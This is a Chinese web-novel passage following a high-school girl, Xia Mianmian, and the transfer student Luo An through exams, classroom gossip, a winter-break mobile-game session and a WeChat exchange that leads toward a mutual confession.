夏棉棉吃完饭立马回了房间,门一关打开手机。刚刚在桌上,她的手机就一直响,粗略看了是王雯发来关于洛安的帖子,心虚地没敢在爸妈视线里打开。 帖子发在一中的论坛里,名字叫,帅哥速来舔屏。 九宫格的洛安照片,坐在座位上的,食堂的,路过的。 他才转来一天,果然帅哥是无法岌岌无名的。 评论也很有意思,还补上了自己偷拍的照片,重点在半小时前的一条评论上,有人在学校边上看到洛安。 【帅哥隔壁班的,下课去看了好几眼,已经是可以牢记出他的脸的地步了,本来看他一个人还想去要个联系方式,还没走过去就看到他和一个女生在说话,女生是同班同学,在打招呼,但是好帅啊没忍住拍了照片…后来我想再上去的时候,他向女生走的方向走了,好吧无缘,我也就没纠结,帅哥发出来给大家一起欣赏~】 照片里洛安眼里带笑,好帅,夏棉棉捂住心脏。 王雯:看完了吗?所以那个被打码的是你! 棉花不眠:是我,但是我没想到被拍了,好羞耻! 王雯:羞耻个der 王雯:和帅哥讲话感觉如何? 棉花不眠:激动 棉花不眠:不过这个人应该认识我,嗐,洛安真的好帅! 王雯:行吧,我还以为你会去要原图 棉花不眠:!! 棉花不眠:还是算了,虽然我很想,但是毕竟和帅哥还没关系,害怕和他传绯闻 王雯:一张照片就想着传绯闻,不愧是你 王雯:搞学习写作业了,现在是帅哥没作业重要时间 夏棉棉认同这一点,刚提起笔又想起了什么,打开手机,把签名改了才心满意足地开始写作业。 “帅哥是我的宝藏” 全人类被她吞了。 第二天到教室班里过分安静,夏棉棉疑惑地回到座位,没错啊都是熟悉地的面孔,这么都在看书啊。她东张西望的,回头时居然和洛安对视了。 啊。 她不自然地眨眨眼,有点害羞。 洛安那双漂亮的眼里似乎带着笑意,伸手指指黑板,示意她看过去。 黑板上写着,今天全科摸底考。 怪不得大家都在看书。 一中是有开学考的习惯,主要就是让学生明白自己的假期有多浪。后来不知道为什么取消了,就变成了各科老师默认的摸底考,她倒是真忘了这回事了。 夏棉棉飞快掏出数学书,完了完了,摸底考的内容还会截取新书的第一章,要知道这个假期她连看都没看。 救命啊。 “困死了。” 王雯不知道什么时候到的,作业已经整理好放在桌边,人怏怏地趴在桌子上,闭着眼假寐。 夏棉棉分出神,“这么困?” “对啊,昨天做完作业就在刷论坛看番,快十一点半才想起来摸底,又看了一个小时的书,后来不知道怎么睡着了。” 说到这里她哀叹一声,“早上起来全忘了啊!而且刚路上遇到学委,问了才知道昨天的开学典礼还强调过,老班后面也有提一嘴!我完全没印象啊!” 夏棉棉感同身受极了,两眼泪汪汪,“我也是呜呜呜,帅哥误人啊,我满脑子帅哥。” 这一天考完试之前,她都没有脑子能分出去看洛安了。 其实摸底考不算太重要,主要是她平时成绩在班里是可以排中上的,再加上暑假过的太轻松很是心虚,就怕考的出奇的差。 放学搞完卫生,夏棉棉摆摆手让王雯先走,猛灌了一口水才背起书包,整个人都沧桑了。 好累。小姑娘感叹道。 洛安居然又没走,不过他这次站在楼梯转角,懒懒地靠着,没玩手机,在发呆。 看到夏棉棉很快地回神,“回家了?” “嗯,在等昨天的人?” 他初来乍到,能等着回家的关系,夏棉棉挺好奇那人是谁的。 难道是一起打球的?但是她没在学校里看到过那些人,也可能是看到了没注意。 “嗯,”他轻声应了,低头看夏棉棉,眼睛湿漉漉的,很委屈的样子,“他鸽了我。” 夏棉棉被他看的有点不知所措,捏着书包带子的手紧了紧,“他好坏。” 洛安点头,“他好坏,我能和你一路走吗?我们应该是顺路的,我,”他挠挠头接着说,“我有点路痴,路还没走顺。” 他看起来乖乖巧巧的,就这么直直地看着她,夏棉棉扛不住。 “可以的。” 说完就扭头下楼,好像后面追着什么夺命妖魔。 洛安跟上去和她并排走,步子迈的缓,迁就她的步调。 从教学楼走到学校门口,夏棉棉有时候能感觉到被注视着。 “你好受欢迎。”夏棉棉说话时有点自己都没注意的酸气。 “还好吧,看我长得好看吧,阿,这不是自恋。” 洛安抿嘴扭头看她,夏棉棉盯着地在走,不知道在想什么,也没吭声。 “你也好看的。” 他刚说完小姑娘就飞快抬头,睁大眼睛看他,满脸兴奋,似乎在问真的吗。 洛安不自然地别开眼,闷声说,“我说真的。” 洛安还真不住这个小区,他家在另一头的住宅区,夏棉棉摆摆手和他分开,脑子还是晕乎乎的。 是在害羞嘛?害羞的样子也好看。 不过。 夏棉棉回神,所以谁鸽了洛安,他可以天天不知好歹吗? 呜呜呜,和洛安回家这样的好事不用客气地让她来! 饭桌上,她妈林女士疑惑地看着自己女儿。 夏棉棉只要一想起洛安那时候的神情,脑袋就晕晕的,筷子夹了一大块白萝卜,刚喂到嘴里表情就突变,要吐不吐半响才把萝卜咽了下去,感受到嘴里的萝卜味道,她简直生无可恋。 林女士皱眉,“你刚在想什么?心不在焉的。” 筷子伸向萝卜的时候她就觉得不对劲了,夏棉棉从小就讨厌萝卜的味道。 想的事情当然不能说,夏棉棉讪讪地抿抿筷子,差点再次被萝卜带走。 “谈恋爱了?” 她爸夏魏明冷不丁地问。 红色警报红色警报! “没有没有!” 夏魏明明显不太相信,他看着自己女儿,“是没有还是,还没有?” 夏棉棉表忠心,“没有!” 写作业的时候,夏棉棉心脏还是咚咚咚地跳,她爸真的是,敏锐无比,真不愧是老律师了。 我在哄你 有点想和王雯分享下,又觉得太过少女心事了,八字还没一瞥,洛安也仅仅把她当作普通同学来相处,过分发散思想实在是罪过。 她重新收好心情开始搞学习。 后来放学就没看到洛安了,有点遗憾了。 摸底考成绩出来的挺快,夏棉棉拿着试卷欲哭无泪,比预想的低,其他几门可能也不太好。 王雯考的一般,拿到试卷随意看了几眼就塞进桌子里。 班长从前门进来,一群人围过去问成绩,总成绩也出来了,但是还没公布。 “我去的时候老班他们在谈事情,看了一眼就拿着试卷出来了。” 边上的人忙问看到了谁的。 班长往后排望过去,“新同学的,第一。” 闻言大家都往后望,洛安趴在桌子上,因为高,双腿怎么搁都不舒服,烦躁地抬头正好和这么多人面面相觑。 他下意识去看夏棉棉,刚对视上就移开。 “我脸上有什么东西吗?” 洛安同桌是体委,回答了他的问题。 “你摸底考第一啊,牛啊兄弟!” 虽然新同学长得好看,打球也厉害,但是学校嘛,还是看成绩的,结果他成绩也好,这简直就是。 洛安懒懒地用手撑头,“就是什么?” 体委,“校园里的少女杀手。” 这形容好迷,洛安揉揉眼睛,不知道想到了什么,扭头问,“这个‘少女杀手’的范围是全校女生吗?” 高大的体委无能愤怒,“你居然想要全校女生??渣男,我看错你了!” “没,”洛安无辜地说,“随便问问。” “你就是,我告诉你,虽然你是少女杀手,但是请放过我女神。” “谁啊?” “夏棉棉。” 洛安愣了一秒,点点头。 “不是你这什么表情啊?”体委不高兴地说,“你刚转学来不知道,我们高一的元旦汇演是棉棉报的节目,唱了一首小幸运,那时候就在学校很出名了,喜欢她的人很多的!不过后来有人说她装什么的,她就很少参与什么活动了,每天就是坐在位置上看看书什么的。” “性格也好。” “是吧是吧,而且笑起来甜滋滋的,虽然我们学校美女挺多的,但我就觉得她最好看。” “是。” 夏棉棉长得很清秀,不管是什么表情都很可爱,是常说的初恋脸。 体委觉得不对劲,警告地说,“知道就好了,别渣男想法。” “你了解的好清楚。”洛安感叹。 体委摸了把自己的寸头,有点不好意思地解释道,“我妈也说我心思细,而且你知道吧,她像是照着我的理想型长的。” “咳,”洛安严谨地说,“是你的理想型照着她的。” 老班带着成绩单来了,脸上似悲似喜,高深莫测。 后桌钱瑶往前探,“分析下,老班心情如何?” 两个小姑娘熟门熟路地往后靠,手里装模做样地捏着试卷。 “不好说不好说。”王雯沉思道。 夏棉棉谨慎分析,“从洛安的成绩来看是满意的,我们嘛应该不。” 钱瑶的同桌万丰表示赞同,“新同学不愧流传的金瓜名号,虽然只是个摸底考,但是任谁捡到宝都开心。” 老班在讲台上拍拍桌子,等安静下来才慢悠悠地开口,“按照惯例我把前十名名次念一下。” “洛安第一啊,年级第七,再接再厉,十月份的月考没几天了,都给我打起精神来,再考成这样…”老班冷笑,“期中考也没几天了,家长会一起算。” “秦袁毅第二,年级第十,分数咬的紧,班长还是很稳的。” “学委第三…” 夏棉棉悄悄吐槽,“都说教室左边靠窗倒数第二排是主角位,我们这一整组,全部阵亡啊。” 考试之前还是很紧张的,成绩下来之后她倒是放松了很多,不算太差,而且她本身就是应试选手,越是大型的考试越稳。 体委看着成绩没说什么,试卷一塞还想问问兄弟们放学约不约球,晚自习前来一场绝对能在课上睡个好觉。 他美滋滋地画了个蓝图,想问问新同学有没有兴趣,就看到他懒散地撑着头在看窗外,不知道看到了什么,神情很愉悦。 讲台上,老班刚刚地夸奖还历历在目,被夸的少年明目张胆地出神陷在自己的世界。 洛安扫码进了班级群,老班坐在椅子上,看他的眼神很欣赏。 “好了通过了,手机放学前别拿出来了…长得帅成绩好的男孩子可不多见啊,老师看好你。” 洛安轻声应了句,手指划了几下手机就重新放回口袋。走出办公室几步还能听见老师们笑着聊天的声音。 王雯偷偷拿出手机刷新闻的时候,收到了软件提示,静音护体,她边念边打开看,惊喜地戳戳望风的夏棉棉。 “洛安进群了,快加他!” “哇,会不会突兀啊。”夏棉棉感叹完又迟疑。 王雯恨铁不成钢,“你是不是傻,刚进群肯定是最自然加好友的时候,问就是全班人我都加了,再说了,前几天就有人来我们班问洛安的联系方式了,都没要到,现在现成的机会,指不定她们动作多快呢,你已经落后了。” 夏棉棉确实已经落后了,后门不知道什么时候摸进几个人。 有人笑着问,“孟轻容你这么光明正大,不怕被抓?” 孟轻容在学校里知名度很高,漂亮叛逆,常把教导主任气的吹胡子瞪眼,更让人津津乐道的是她那数不过来的前男友。 “体育课,你们今天自习没人管我会不知道?”她涂了口红,笑起来有种张扬的美,漂亮的移不开眼。 跟她一起来的两个女孩有点不好意思,指指后门出去等了。 孟轻容也不在意,“洛安呢?” “孟大美女是来找我们新同学的啊!” 旁边人起哄了起来,主角之一不在,孟轻容懒得配合他们,她有点不开心地说,“别起哄了我还到手呢,等下把老师引过来了大家都难看,他人呢?” “被老师叫到办公室去了,挺久了快回来了吧。” 那人刚说完,前门就被打开了,洛安走了进来 孟轻容也不拖沓,直接走上前去,仔细地瞧他,她神情很愉悦,似乎对洛安很满意。 洛安被看的不舒服,皱眉往后退了一步,淡淡地问她,“没事的可以让一下吗?” “有事啊,我们俩的事!” 一中和两条街外的三中,能叫的上名字的帅哥孟轻容都见过,第一印象好的都热烈地追过,并且,几乎从未失手。 “我叫孟轻容,之前有拜托人问你联系方式,被你拒绝了。”孟轻容笑着说,“现在可以给了吧洛安!” 夏棉棉看着她,承认自己有点羡慕这样的勇气,性格热情大方敢说敢做,她自问做不到这样的热烈耀眼。 “不加。”洛安神情还是很淡,他看着孟轻容,示意她让开。 孟轻容意外地顿了一秒,转头从玻璃窗模糊的剪影里找到自己,没问题,模糊也能看出是大美女。 她嘟嘟嘴,半不高兴半撒娇,“如果你是想引起我的注意的话,这样只会让我觉得很装欸。” “没有。”洛安重新组织语言,漂亮的姑娘确实是有特权,但是对于他来说,自己就很好看,漂亮倒是不能然他特殊对待了。 周围一圈的小姑娘都喜欢看热闹,这大场面不尖叫出声就已经很不错了,钱瑶嘴里念叨着“这场面我还真没见过”,万丰倒是颇为沉稳,视线流连在两位主角身上,神情耐人寻味。 王雯啧啧惊叹,“是听说孟轻容胆子大,但是我没见过,还以为就是拉着bf的手在校园里走操场,晚上去酒吧857呢。” 钱瑶睁大双眼,“857还不够胆子大吗,她还没成年吧!” 一中是重点学校,但重点也有数量不少的乖张学生。不过物以类聚,她们这一块全是胆子小但是爱逼逼叨的小姑娘,骤然真见到孟轻容这样的,还是惊讶的很。 夏棉棉没有参与讨论,她的视线停留在洛安脸上,他好看的眼睛正注视着面前的女孩,气场碰撞,就像是她看的小说里男女主角的第一次交锋。 孟轻容好看的眉毛皱在一起,“没有,那是什么?” 洛安微微偏头,不意外地和夏棉棉对视上,他好似眨了眨眼,孟轻容还没反应过来,就听见。 “我有喜欢的女孩了,她会吃醋的。” “哇,你是没看到孟轻容出来的脸色,我真的是害怕极了,她走的飞快,我和紫紫都不知道要不要跟上去,毕竟是一起来的!” 两个女孩窝在转角隐蔽处,小声地说话。 “能想象,毕竟我印象里从来没有人这么和孟轻容这么说过话,而且连四班林清繁都没能直接拒绝她。这次让她甩下一句‘死直男’直接走,大场面。” “因为她真的好看啊,我每次看到她的脸都觉得我又可以了。” “我也觉得,谁不愿意和漂亮妹妹玩,就算妹妹坏,哈哈哈哈。不过其实我们年级挺多美女的,相对孟轻容都挺低调的,你记得夏棉棉吧,她也是七班的,当时一直说她早恋什么的,后来解释了之后存在感也好像弱了很多。” “是啊是啊!”女孩突然激动,“我真的超级吃她的颜!和孟姐两个风格,太纯了太纯了呜呜呜!” 夏棉棉站在转角外面听了这几句,有点害羞,但更多的是尴尬,直接想扭头离开,轻手轻脚走了一步就被捏住手腕锁在原地。 差点惊呼出声,夏棉棉手指不自觉蜷缩,脸颊有点红,不知道是因为害羞还是害怕。 洛安小声说,“再听听。” 这有什么好听的,说的话题类似于八卦,特别她被提名。 耳边是对方浅浅的呼吸声,夏棉棉分散注意力去看洛安,他侧脸也精致地不像话,眼睫毛又长又翘,嘴角好像还翘着,心情很不错的样子。 帅哥都喜欢听墙角吗?救命,听墙角的帅哥也好帅。 好帅啊好帅啊。 突然里面的女孩们站了起来,夏棉棉整个人都一惊,直接扯着洛安往外走。 洛安一点都不怕,也没阻止了,被抓着手懒懒散散地跟着她走,放学到现在他好像一直很愉悦。夏棉棉肯定是感觉到了什么,所以给他发消息说出来有事,尽管她却又什么都没说。 教室里还有值周的同学,看见他们两个一起回来很惊讶,有人不知道联系到了什么,视线是很暧昧露骨。 夏棉棉背上书包就走,被注视着的感觉让她很不适应,莫名地她想到孟轻容。她那样热烈自信。 不行不行,不能这么想。 洛安跟在她身后,也没追上来,她不由地松口气,很快又觉得气结。 想让他靠近,又害怕他靠近,优柔寡断,胆小懦弱。 走出学校附近的这条街,洛安不知道什么时候走到了她身边,递给她一杯奶茶。 夏棉棉愣愣地接过,奶茶温温的,大夏天买常温的奶茶。她下意识去看他,和他对视上又很快错开,余光撇到他两手插在校服口袋里。 “你不喝吗?”夏棉棉问他,就买了一杯。 “啊奶茶吗,你不喜欢喝吗,好像女孩子都很喜欢。” 答非所问的。 洛安猜她下一句就是,“给你喝吧,是你买的”这种生疏尴尬的话,夏棉棉好像从来都是这样的。把所有同龄的没有血缘关系的,都当成玩伴,归属于以后还是会分开的类别,然后忘得一干二净。他有点烦了。 “还好,你不喜欢吗?” 她把吸管用力地插进去,喝了一大口,然后慢慢地咀嚼珍珠。 洛安看着她,含糊不清地嗯了声。 “那你应该买你喜欢喝的啊,”夏棉棉理所当然地说,“我喝什么都可以的,没有不喜欢的。” 她说话的时候眼睛一直盯着前面看,这条路不长,还有一百多米就要转弯了,但是她有点近视,看不到头。 真厉害。洛安差点就气笑了,若无其事的,好像自己就是随口一说。 “没有不喜欢又不是没有喜欢的,我在哄你,当然买你喜欢的。” 夏棉棉的脚步一顿没再往前走了,洛安跟着她停下来。飞驰的车辆掠过,喇叭鸣叫,有瞬间好像空气都凝滞了。 “我以为很明显了,”洛安语气很平和,“你之前有点不高兴,所以我在哄你。” 故意 坐公交和走路回去的时间相差不了多少,天气好的时候夏棉棉就喜欢走回去,突然有一天就换成了公交车。 心照不宣的,洛安没来找她问什么。 两个人坐的不近,平日里本来就没交流,也没人感知出什么,那天看到他们同进同出的人也当自己看走了眼。 王雯觉得很奇怪,夏棉棉已经快一周没有和她讨论新转来的帅哥了,好像是突然的事情。 “你怎么都不关注洛安了呢,他今天中午还在球场赚了一大波迷妹,好多小妹妹去看。” 夏棉棉拿书的手一顿,很快自然地说,“平平无奇小渣女罢了。” “说正紧的呢,前段时间对人家热情似火,现在我都以为人帅哥欠了你一大笔钱,正眼都不给的。” “嗐,”夏棉棉叹气,“直说了吧,太奇怪了。” “奇怪?”王雯凑过来,“什么奇怪,帅哥秘辛?我要听我要听!” “不是…”夏棉棉也不知道怎么说,但是王雯的语气又实在好玩,她没忍住逗她,“帅哥秘辛当然是偷偷藏在心底,只有美女秘辛,听不听美女的?” “哪个妹妹?美女妹妹cpdd!”都是老色批了。 夏棉棉笑嘻嘻的,指尖一转指向自己,“远在天边近在眼前,美女竟在你身边!” 王雯无语,转头翻课本无缝衔接。 哎,夏棉棉叹气,这个世界怎么不能对美女也友好一点呢。 她转头看窗外,窗户大开,闷热的风吹地人昏昏欲睡,忽冷忽热容易生病,一中教室的空调默认摆设,也就头顶的风扇呼啦呼啦地转。对面还是教学楼,中间隔着个小花园,树叶被照的发光。 夏棉棉很少戴眼镜,除了上课。周围人都睡了,她撑着头发呆,黑框的眼镜放在手边。下午第一节课是数学课。 其实承认吧,就是口嗨而已。夏棉棉很懒,但是不笨,平常出门连眼镜都不会带的人,根本不会往小区那破破的篮球场看一眼。 天气渐渐舒适了起来,班级里不知道什么时候开始,学习的氛围越来越浓郁了,上一次月考,班级第一的是秦袁毅,班长重新夺回了自己的宝座。洛安考的应该还可以,只是没有摸底考那样亮眼。 光是数学就已经够让人烦躁了,在走廊碰到,班里对视上,更加无措。为什么会这样,那天也说不上不欢而散。 洛安也想不通,他一点也猜不透女孩的心思,是最后一句话说错了吗,是逾越了,但是是实话,他就是在哄人。妈妈说女孩子生气猜不透不要紧,凑过去说些好话行动跟上就好了。那孟轻容和他说话的时候,她不是不高兴吗。这不得哄吗? 要哄。 某天做题的时候,他突然福至心灵,偷听墙角那会儿,好像说起了早恋。 体委国字脸紧绷,“都是传言,哪里有早恋。” 夏棉棉当时下台,衣服都没换就被人叫了出去,隔壁班同学在表白,也当然是没答应。事后却开始传早恋,说的有头有脸的,当时很多人都信了,年级组不可能不管,搞得人心浮躁的。 两个小孩说的话没人信,就被叫了家长,后面老师那里倒是解释清楚了,年级里还纷纷扰扰的。算是不了了之,光传八卦没什么意思,也就基本没人提起了。 “这种事情还是不好提,年级里就没怎么解释,就班级里老班提了提,你了解这个做什么?吃瓜啊?”体委拍拍他的肩膀,“最近瓜吃的还不够多吗?我这种都被我妈喂着吃了好多。” “嗯?”洛安后半句听的茫然,“什么瓜?” “你不关注娱乐新闻的吗?这会断网的啊,什么梗啊听到都和痴呆一样,难道学神都是没有娱乐的吗,这就是我和学神的差距,啧啧。”体委像是发现了新大陆,啧个不停。 洛安大概懂了,思绪却飘远,如果老师那里解决了的话,影响其实,不算大吧。 莫名其妙的,放寒假了还没说过一句话。 “夏棉棉!快点起来!”妈妈在门口大喊,房门被敲得晃动,“快点,到时候高速堵车了,你奶奶一大早就在催,问我们什么时候回家,那我能说什么,她的宝贝孙女在床上赖着不愿意起来呢!快点快点!” “五分钟!”夏棉棉手臂一甩,用被子包住脑袋,昨晚看剧熬了夜,好不容舒服点脑袋又疼了。 “我会相信?你之前和你爸也这么说!快点!夏棉棉——” 夏棉棉夏棉棉夏棉棉,明天就去改名。 “姐,你又赖床了啊。” 下午一点多才到奶奶家,表弟已经吃完午饭了,趴在桌子上看他们一家三口狼吞虎咽。 “是啊!”夏妈妈说,“小方杨可不能和你姐姐学,饭都不用吃的,一天一顿都算多了。” 巴拉巴拉,夏棉棉吐槽,吃饭都不带停。 作业带了些过来,也没想写,就为了装装样子。笔搁在一边,打开手机找钱瑶聊天。本来关系就不错,暑假的晚上经常双排打游戏,坐近之后更是交流不断,没想到放了寒假开始天天聊天了。 棉花不眠:明年我一定申请不回老家过年 钱瑶:加油 钱瑶:什么时候回来?恰火锅去 棉花不眠:不晓得 棉花不眠:我昨天看剧,男主故意接近女主,腹黑套路 钱瑶:什么剧,好看吗? 棉花不眠:不,这不是重点 棉花不眠:我上次不是和你说暑假就和洛安见过了吗 棉花不眠:就鬼迷心窍晒了一个月太阳看他basketball 棉花不眠:我快开学的时候总觉得不对,我当时就怀疑他是故意把球往我身上抛 钱瑶:wow心机boy? 钱瑶:看起来不像啊【震惊】【震惊】 棉花不眠:像不像重要吗 棉花不眠:其实我之前在网上被骗过 棉花不眠:当然他说什么我都没信,也不算骗我故意表现地我信了,就当博弈了 棉花不眠:他说他小学我就说好好学习 棉花不眠:语言中暧昧不清我就当没看出来,后来烦了就删了 棉花不眠:我有故意和洛安博弈,但是后来好像输了 钱瑶:好复杂,输在哪里了? 棉花不眠:我不知道 钱瑶:就这事让你想了半学期 钱瑶:我感觉随便谁说句什么话都破冰了 钱瑶:【强】【强】 棉花不眠:我也觉得,莫名奇妙,他说话也是 棉花不眠:那个时候我睡觉前脑子就跟回放一样重复他说的话 棉花不眠:烦死了 钱瑶:你的烦躁我不懂,你的文字还在意 棉花不眠:滚 棉花不眠:上号,打两把游戏,好久没玩了 你随意,我乱杀.JPG 钱瑶:其实我昨天还偷偷打了 钱瑶:哈哈哈哈已经星耀四了 棉花不眠:太狗了,信不信我花钱直接王者 钱瑶:别说了快更新,我昨天看着地图都不会走路了 钱瑶:别想了,大不了过年发句新年快乐,看看他怎么说 棉花不眠:好办法,不愧是你 钱瑶:然后人家回句新年快乐,继续冰封 棉花不眠:? 棉花不眠:夺笋啊夺笋啊 棉花不眠:管他呢,上号上号 玩的是□□区,夏棉棉继承了段位之后拉钱瑶进房间。 “听的到吗听的到吗?”夏棉棉打开组队麦,“上分上分,我继承星耀五,别让我掉下去了。” 钱瑶听见她的声音就跟着笑,“那我玩辅助,不玩c位了。” “行行行,我开了我开了。”刚准备点邀请页面就跳了出来,“欸有人邀我。” “谁啊?” “不知道。”夏棉棉关掉页面,点开邀请人的主页,“打野二十段…这赛季也没打,玩镜曜的,打了一千三百把,但是胜率挺高的欸,七十多。不知道是不是小号。” “这么高,要不邀进来?这样我们中野辅联动!”她们两个之前都单排上过王者,除了打野都能补位,但是双排不太稳,上赛季打的输输赢赢。 “他后面跟了个括号,一个x,我应该有他好友,但是不知道是谁。”夏棉棉翻来翻去,“亲密度关系也没有一个,你有他好友吗,会不会是我们班的?” 钱瑶找了找,“没有,可能是你之前同学吧,没事,我们两个开麦,他不敢开的。” id空白符号,头像金渐层。 趁着他没开听筒,夏棉棉边打字说开了,边和钱瑶分享自己的心得,“不是网络男神风啊,可惜了,动漫男头就是最吊的。” “非啊!”钱瑶说。 “我说的是哈尔什么的,宫崎骏永远的神。” X果然没开麦,就是不知道什么时候打开了听筒。匹配的时候配合着打字。 “那我等下改成哈尔。” 夏棉棉,“大可不必,我瞎说的。” 游戏开始,这个赛季bp变快,禁英雄也变成了三个。禁用五个辅助一个澜,快乐排位从bp开始。 他们是蓝方,先拿英雄。 钱瑶是一楼:“我想后出,看下对面拿什么。” “帮四楼拿射手吧,我想玩嫦娥,看对面射手玩什么。”夏棉棉撑着头,她是三楼,“要不你拿鬼谷子吧,我四级你吸谁我杀谁。然后打野拿个曜,我想要蓝。” X在五楼,把曜预选上了。 二楼预选蒙恬,蒙恬在对面就好了,夏棉棉打了个哈欠,无敌充电宝啊。 对面的一二两楼直接出了双c,射手拿了伽罗。 夏棉棉无语,“我玩貂蝉吧,不要蓝了,我出圣杯。” 伽罗的平a破盾,嫦娥的蓝条等于血条等于盾,当着伽罗选嫦娥就是自杀。 “马超镜,两个t0,我不知道玩什么了。”钱瑶选择的英雄变来变去,“要什么要什么。” 五楼打字:都可以。 钱瑶问,“那我玩瑶瑶公主?” 夏棉棉说,“都行都行,或者还是鬼谷子也行,我们没控,你选鬼谷子我们就搞伽罗。” 钱瑶还是锁了鬼谷子,“也行,我和我们马克挺配的。” 开局还快快乐乐的扭来扭去,夏棉棉捡了钱瑶扔的一块钱,细节地点了自己的经济。 “注意(貂蝉)经济301” 然后不知道为什么,二级去对抗抓了,马超跑了不说,马可波罗被伽罗单杀了。去下路抓伽罗,逼出闪现又杀死之后,蒙恬又被马超戳死了。 和曜一起抓发育路连体,中路外塔被推了。 夏棉棉:? “我的宝贝防御塔!”她赶回去守二塔,钱瑶留下来和马克一起推发育路的外塔。 推完后钱瑶点了几下开始撤退,急得不行,马克恍若未闻,刚a了下对面二塔就被卡视野出现的镜带走了,她也救不了。 钱瑶说,“我不想跟这个射手了,太蠢了。” “…”夏棉棉说,“注意到了吗,对抗路1/5了,马超都快超神了。” “……”钱瑶:“举报了,真菜啊真菜啊。” 不知道为什么就开始守高地,经济落后了三千,曜作为她们方经济第一倒是和对面经济第一的马超差不都高。 “怎么吃的钱啊,这么富。”夏棉棉不太敢出去,小地图看到马克在中路中间清理兵线,“马克怎么胆子真大,我都不敢走那么远去吃,兵线过来一起吃不好吗,我穷死了。” 下一秒击杀播报就显示马克被杀了,马超杀的,底下助攻有四个人。 “所以他死的也很远。”钱瑶冷静地说,“马克真的有一颗一v五的勇敢之心。” “救命,夺笋啊夺笋啊!”夏棉棉笑着发了个干的漂亮。 曜很快点了个收到。嘲讽的明明白白。 守了挺久高地,对面一直进不来,直接去开龙了。 20分钟的风暴龙,对面拿了肯定要冲一波,必须要出去打了。 偷偷摸摸地往龙坑移动,视野之灵给了视野,已经快打完了,在龙坑附近草里的曜也不好去抢。 “要不放了吧……” 还没说完就听见了抢龙播报,曜不知道什么时候进了龙坑。新赛季的抢龙播报十分热血——你的队伍已经夺回了关键杀戮。 身上加了风暴buff,bgm都激昂了起来,赶到的时候曜复活甲换名刀,五打五打赢了直接一波。 后面几把打的就轻松多了,队友中规中矩前期跟着x的节奏走不崩,稳定十五分钟之内结束一把。 虽然不知道这个人是谁,但是她们两上线必上线,也就一直在三排。过年家里也放宽松了几天没人管他,居然三天就上了王者。 实在是奇迹。 夏棉棉还记得上赛季暑假玩的时候,自己单排一百把从钻石二打到王者,后面和钱瑶一起双排,打了一百多把,两个人原地踏步,掉的只有胜率,升的只有亲密度。 她和钱瑶一起为野王打call,就是实在想不到这个人是谁。 他们家回老家挺晚了,第四天就是除夕。反正越大越不喜欢过年,夏棉棉窝在被窝里抢红包,九点出头就开始困。然后真的就睡着了,醒的挺早,八点多。 点开手机,一排的新年快乐,应该大部分是群发的。她才想起来要给洛安也发一句。 还没找就看到洛安的名字,边上一个红点,他昨晚也发了新年快乐。 夏棉棉给原模原样回了一句,然后想起了钱瑶的预测,像是被点中了笑点,缩回被窝里笑得发抖。 夺笋啊夺笋啊。 大熊猫过年都没吃的了。 手机震动,洛安居然回复了。 洛安:猫咪点头.jpg 有些表情包有结束聊天的意味,这个没什么意义的让夏棉棉有点迟疑,不知道回什么。回的话就是要由她开启新的话题,不回的话她又手痒痒。 想了半天发了一张奥特曼插口袋,朴实.jpg 同一时间对面发来消息。 洛安:昨天怎么没打游戏? 棉花不眠:? 棉花不眠:x是你? 洛安:x? 洛安:哦我□□有分号 洛安:是我 棉花不眠:才知道 夏棉棉发完,对面隔了几分钟才回。 洛安:暑假那时候,其实我看见你了 洛安:篮球是被我朋友故意扔过来的 我想听你说 甩锅到朋友身上了,夏棉棉往被窝里缩缩,博弈嘛博弈,就要顺着对方的点打。 棉花不眠:什么意思? 洛安:暑假刚开始的时候,你拿快递经过,我认出你了 洛安:我初中也经常来这里 棉花不眠:?我不记得 洛安:我舅舅和你家在一个小区,初二暑假我妈妈怕我玩的太疯,就报了补习班 洛安:我数学最好,所以选了数学 棉花不眠:? 棉花不眠:我忘记了,只记得上过补习班 棉花不眠:常游街 洛安:嗯嗯 不知道回什么,索性就关了手机起床。夏棉棉假期固定起不来床,但是昨晚实在睡得早,还饿了。 钱瑶不想玩王者了,一定安利她元气骑士,夏棉棉边吃早饭边下载。 她爸在帮忙打扫,路过还挺惊奇,“今天起这么早?” “是啊,”夏棉棉舀了一大勺稀饭,游戏已经在安装了,“同学约我打游戏,别告诉我妈,我等下藏起来。” “藏起来,”夏爸爸一笑,“行,你藏去吧。” 元气骑士开不了麦也打不了字,夏棉棉就一直点对话框里的问号,宝箱不知道怎么开,围着转来转去,钱瑶受不了直接打了微信电话过来。 “这什么啊这什么啊钱瑶瑶?真无语啊,怎么开啊?” “哎呀,边上边上,你别转了站上去啊,那个梯子!” “什么梯子啊,哪里有梯子啊,我看不见啊。” “就梯子啊……” “……” 最后还是找到了,墩子还差不多。 “形容的好啊,真不错啊。” 也不知道在玩什么,莫名其妙就死了,等着钱瑶杀完怪来救。不知道开了多少把,后面进来了个类似于牧羊人的角色。发现能奶命之后,夏棉棉残血就一直追着人家发哭脸问号,奶了就发笑脸牛头。 “困了困了,”打着打着就开始困,“下了下了,还是王者好玩,明天再说。” “okok” 语音通话差不多两个多小时,打了快三小时了。 洛安两小时前发的消息。 电竞模式自动没显示。 洛安:很想和你认识,我朋友是看我磨磨蹭蹭忸扭捏捏才扔的球 洛安:抱歉让你反感 又是回不了结束语。 夏棉棉抿嘴,她哪里表现出了反感。 帅哥做什么都容易带有滤镜,她只是觉得很突然,说什么哄也是。当时差一点就把话说出口了,就差一点。 回家想会不会是阴谋。均势的博弈其实是营造的,差一点就输了。总之陷入了莫名其妙的想法漩涡里,觉得这又没什么,觉得胜负欲强烈。洛安也没来再说什么,就有种阴差阳错的配合感。 很奇怪。 很奇妙。 她自己都想不明白,就更加表达不清楚。当局者迷,也不知道自己想干什么想要洛安怎么做。 王雯也回老家了,说村口大妈们看着她,问会不会影响自己以后相亲。 棉花不眠:先给我相一个 突然想通了什么,随即点开□□给洛安发微信码。 棉花不眠:加我 洛安几乎是秒回了一句好。 很快微信有新朋友,哈尔的头像,昵称就是他自己名字。 也不问为什么,夏棉棉那奇怪的情绪突然被安抚了。 棉花不眠:我通过了你的好友验证,现在我们可以开始聊天了 棉花不眠:那天其实我想说,我暑假就看过你打篮球了,我喜欢你,我们在一起吧 洛安:! 洛安:可以 棉花不眠:现在我想说的不一样了 洛安:现在想说什么 棉花不眠:现在想听你说 洛安盯着这句话琢磨,答案和终点就隔了层玻璃了,无奈是磨砂玻璃,让他很犹豫。 “安安!中午想吃什么?”他妈妈在客厅喊他。 洛安提高音量:“随便,我现在在忙,不要叫我!” 